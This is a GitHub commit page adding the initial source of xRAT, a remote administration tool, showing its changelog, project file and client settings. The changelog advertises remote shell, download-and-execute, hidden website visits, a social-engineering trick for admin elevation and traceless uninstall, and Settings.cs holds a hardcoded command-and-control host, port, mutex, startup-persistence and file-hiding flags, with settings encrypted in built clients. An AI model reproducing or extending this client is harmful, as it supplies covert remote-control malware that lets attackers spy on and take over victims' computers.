Skip to content

Commit

Permalink
Initial commit with everything else
Browse files Browse the repository at this point in the history
  • Loading branch information
MaxXor committed Jul 8, 2014
1 parent b95faf4 commit 034b624
Show file tree
Hide file tree
Showing 614 changed files with 61,330 additions and 677 deletions.
3 changes: 3 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -172,3 +172,6 @@ UpgradeLog*.htm

# Microsoft Fakes
FakesAssemblies/

# Private
[Pp]rivate/
83 changes: 83 additions & 0 deletions CHANGELOG
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
xRAT v2.0.0.0 RELEASE1 [08.07.2014]
======================================================================================
- Added Icon Changer
- Added Remote Shell
- Added profiles to builder (save/load)
- Added motion detection algorithm to Remote Desktop (40-50% faster)
- Added monitor selection to Remote Desktop
- Improved Admin Elevation (waits 3sec before finally shows)
- Improved System Information
- Improved Task Manager->Start Process
- Improved uninstall command to leave no trace on computer
- Improved settings XMl writer/reader if no settings file exists
- Fixed rare bug with uninstall command
- First Stable Release


xRAT v2.0.0.0 BETA2 [16.05.2014]
======================================================================================
- Added Update Function
- Added renamer (thx li0nsar3c00l)
- Added loading information to System Information
- Added some additional checks to validate PE-Files in Download & Execute command
- Improved version information
- Admin Elevation Trick now gets the language from the System not from GeoIP(thx Domi)
- Fixed showing wrong country flag when country is unknown
- Some minor design changes


xRAT v2.0.0.0 BETA1 [14.04.2014]
======================================================================================
- Added custom social engineering tactic to elevate Admin privileges (betabot's trick)
* Supports 9 languages
- Added System Information
- Added Show Messagebox
- Added Visit Website [Hidden/Visible]
- Added support for Mouse to Remote Desktop
- Added new Status for User [Active/Idle]
- Added Statistics for Connected Clients and Traffic
- Added Zone Identifier Deletion after downloading Files
- Added Transferlist to File Manager
- Moved GeoIP Location from Server to Client -> increases speed
- Improved Startup Method
- Improved Remote Desktop
- Improved File Manager
- Improved listview in Main Window
- Fixed rare window focus bug
- Fixed some crashes
- Fixed some minor bugs
- First Beta Release


xRAT v2.0.0.0 ALPHA3 [31.03.2014]
======================================================================================
- Added Settings encryption to Client
- Added detection of Account Type to Client
- Extended Builder
- Optimized File Manager
- Changed Builder exception message
- Small code changes for future updates
- Fixed flickering listview in File Manager and Task Manager
- Fixed wrong sorting in File Manager
- Fixed Remote Desktop crash when exiting without pressing "Stop" first
- Fixed various crashes and exceptions


xRAT v2.0.0.0 ALPHA2 [22.03.2014]
======================================================================================
- Added Remote Desktop
- Added Task Manager
- Added File Manager
- Added some icons
- Improved Builder
- Optimized code
- Fixed connection count bug
- Fixed client disconnect bug
- Fixed uninstall not working when Client is built with hidden option
- Fixed deleting registry key while uninstalling Client
- Fixed various crashes and exceptions


xRAT v2.0.0.0 ALPHA1 [16.03.2014]
======================================================================================
- First Alpha Release
216 changes: 216 additions & 0 deletions Client/Client.csproj
Original file line number Diff line number Diff line change
@@ -0,0 +1,216 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">x86</Platform>
<ProductVersion>8.0.30703</ProductVersion>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Client</RootNamespace>
<AssemblyName>Client</AssemblyName>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\Bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\Bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Management" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Core\Client.cs" />
<Compile Include="Core\Commands\CommandHandler.cs" />
<Compile Include="Core\Compression\LZ4\LZ4Compressor32.cs" />
<Compile Include="Core\Compression\LZ4\LZ4Decompressor32.cs" />
<Compile Include="Core\Compression\LZ4\LZ4Util.cs" />
<Compile Include="Core\Elevation\CommandButton.cs">
<SubType>Component</SubType>
</Compile>
<Compile Include="Core\Elevation\frmElevation.cs">
<SubType>Form</SubType>
</Compile>
<Compile Include="Core\Elevation\frmElevation.Designer.cs">
<DependentUpon>frmElevation.cs</DependentUpon>
</Compile>
<Compile Include="Core\Encryption\AES.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\DesktopResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\DirectoryResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\DownloadFileResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\DrivesResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\GetProcessesResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\GetSystemInfoResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\MonitorsResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\ShellCommandResponse.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\UserStatus.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Desktop.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Directory.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\DownloadFile.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Drives.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\GetProcesses.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\GetSystemInfo.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\KillProcess.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Monitors.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\ShellCommand.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\ShowMessageBox.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Update.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\VisitWebsite.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\MouseClick.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\StartProcess.cs" />
<Compile Include="Core\RemoteShell\Shell.cs" />
<Compile Include="Core\SystemCore.cs" />
<Compile Include="Core\Encryption\RC4.cs" />
<Compile Include="Core\Packets\ClientPackets\Commands\Status.cs" />
<Compile Include="Core\Packets\ClientPackets\Connection\Initialize.cs" />
<Compile Include="Core\Packets\ClientPackets\Connection\KeepAliveResponse.cs" />
<Compile Include="Core\Packets\IPacket.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Disconnect.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\DownloadAndExecute.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Uninstall.cs" />
<Compile Include="Core\Packets\ServerPackets\Connection\InitializeCommand.cs" />
<Compile Include="Core\Packets\ServerPackets\Connection\KeepAlive.cs" />
<Compile Include="Core\Packets\ServerPackets\Commands\Reconnect.cs" />
<Compile Include="Core\Packets\UnknownPacket.cs" />
<Compile Include="Core\ProtoBuf\BclHelpers.cs" />
<Compile Include="Core\ProtoBuf\BufferExtension.cs" />
<Compile Include="Core\ProtoBuf\BufferPool.cs" />
<Compile Include="Core\ProtoBuf\DataFormat.cs" />
<Compile Include="Core\ProtoBuf\Helpers.cs" />
<Compile Include="Core\ProtoBuf\IExtensible.cs" />
<Compile Include="Core\ProtoBuf\IExtension.cs" />
<Compile Include="Core\ProtoBuf\ImplicitFields.cs" />
<Compile Include="Core\ProtoBuf\Meta\AttributeMap.cs" />
<Compile Include="Core\ProtoBuf\Meta\BasicList.cs" />
<Compile Include="Core\ProtoBuf\Meta\CallbackSet.cs" />
<Compile Include="Core\ProtoBuf\Meta\MetaType.cs" />
<Compile Include="Core\ProtoBuf\Meta\RuntimeTypeModel.cs" />
<Compile Include="Core\ProtoBuf\Meta\SubType.cs" />
<Compile Include="Core\ProtoBuf\Meta\TypeFormatEventArgs.cs" />
<Compile Include="Core\ProtoBuf\Meta\TypeModel.cs" />
<Compile Include="Core\ProtoBuf\Meta\ValueMember.cs" />
<Compile Include="Core\ProtoBuf\NetObjectCache.cs" />
<Compile Include="Core\ProtoBuf\PrefixStyle.cs" />
<Compile Include="Core\ProtoBuf\ProtoContractAttribute.cs" />
<Compile Include="Core\ProtoBuf\ProtoEnumAttribute.cs" />
<Compile Include="Core\ProtoBuf\ProtoException.cs" />
<Compile Include="Core\ProtoBuf\ProtoIgnoreAttribute.cs" />
<Compile Include="Core\ProtoBuf\ProtoIncludeAttribute.cs" />
<Compile Include="Core\ProtoBuf\ProtoMemberAttribute.cs" />
<Compile Include="Core\ProtoBuf\ProtoReader.cs" />
<Compile Include="Core\ProtoBuf\ProtoWriter.cs" />
<Compile Include="Core\ProtoBuf\SerializationContext.cs" />
<Compile Include="Core\ProtoBuf\Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ArrayDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\BlobSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\BooleanSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ByteSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\CharSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\CompiledSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\DateTimeSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\DecimalSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\DefaultValueDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\DoubleSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\EnumSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\FieldDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\GuidSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\Int16Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\Int32Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\Int64Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\IProtoSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\IProtoTypeSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ISerializerProxy.cs" />
<Compile Include="Core\ProtoBuf\Serializers\KeyValuePairDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ListDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\MemberSpecifiedDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\NetObjectSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\NullDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ParseableSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\PropertyDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\ProtoDecoratorBase.cs" />
<Compile Include="Core\ProtoBuf\Serializers\SByteSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\SingleSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\StringSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\SubItemSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\SurrogateSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\SystemTypeSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\TagDecorator.cs" />
<Compile Include="Core\ProtoBuf\Serializers\TimeSpanSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\TupleSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\TypeSerializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\UInt16Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\UInt32Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\UInt64Serializer.cs" />
<Compile Include="Core\ProtoBuf\Serializers\UriDecorator.cs" />
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoBehaviorAttribute.cs" />
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoBehaviorExtensionElement.cs" />
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoEndpointBehavior.cs" />
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoOperationBehavior.cs" />
<Compile Include="Core\ProtoBuf\ServiceModel\XmlProtoSerializer.cs" />
<Compile Include="Core\ProtoBuf\SubItemToken.cs" />
<Compile Include="Core\ProtoBuf\WireType.cs" />
<Compile Include="Core\Server.cs" />
<Compile Include="Core\Helper\Helper.cs" />
<Compile Include="GeoIP.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Config\Settings.cs" />
<EmbeddedResource Include="Core\Elevation\frmElevation.resx">
<DependentUpon>frmElevation.cs</DependentUpon>
</EmbeddedResource>
<EmbeddedResource Include="Properties\Resources.resx">
<Generator>ResXFileCodeGenerator</Generator>
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
<SubType>Designer</SubType>
</EmbeddedResource>
<Compile Include="Properties\Resources.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Resources.resx</DependentUpon>
<DesignTime>True</DesignTime>
</Compile>
<None Include="Properties\Settings.settings">
<Generator>SettingsSingleFileGenerator</Generator>
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
</None>
<Compile Include="Properties\Settings.Designer.cs">
<AutoGen>True</AutoGen>
<DependentUpon>Settings.settings</DependentUpon>
<DesignTimeSharedInput>True</DesignTimeSharedInput>
</Compile>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<PropertyGroup>
<PostBuildEvent>copy "$(TargetPath)" "$(TargetDir)client.bin" /Y</PostBuildEvent>
</PropertyGroup>
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
55 changes: 55 additions & 0 deletions Client/Config/Settings.cs
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
using System;
using Core.Encryption;

namespace Client
{
public class Settings
{
#if DEBUG
public static string VERSION = "1.0.0.0d";
public static string HOST = "me.maxxor.org";
public static ushort PORT = 4782;
public static int RECONNECTDELAY = 5000;
public static string PASSWORD = "1234";
public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
public static string SUBFOLDER = "Test";
public static string INSTALLNAME = "test.exe";
public static bool INSTALL = false;
public static bool STARTUP = true;
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
public static string STARTUPKEY = "Test key";
public static bool HIDEFILE = true;
public static bool ENABLEUACESCALATION = false;

public static void Initialize()
{ }
#else
public static string VERSION = "1.0.0.0r";
public static string HOST = "localhost";
public static ushort PORT = 4782;
public static int RECONNECTDELAY = 5000;
public static string PASSWORD = "1234";
public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
public static string SUBFOLDER = "SUB";
public static string INSTALLNAME = "INSTALL";
public static bool INSTALL = false;
public static bool STARTUP = true;
public static string MUTEX = "MUTEX";
public static string STARTUPKEY = "STARTUP";
public static bool HIDEFILE = true;
public static bool ENABLEUACESCALATION = true;
public static string ENCRYPTIONKEY = "ENCKEY";

public static void Initialize()
{
VERSION = AES.Decrypt(VERSION, ENCRYPTIONKEY);
HOST = AES.Decrypt(HOST, ENCRYPTIONKEY);
PASSWORD = AES.Decrypt(PASSWORD, ENCRYPTIONKEY);
SUBFOLDER = AES.Decrypt(SUBFOLDER, ENCRYPTIONKEY);
INSTALLNAME = AES.Decrypt(INSTALLNAME, ENCRYPTIONKEY);
MUTEX = AES.Decrypt(MUTEX, ENCRYPTIONKEY);
STARTUPKEY = AES.Decrypt(STARTUPKEY, ENCRYPTIONKEY);
}
#endif
}
}
Loading

0 comments on commit 034b624

Please sign in to comment.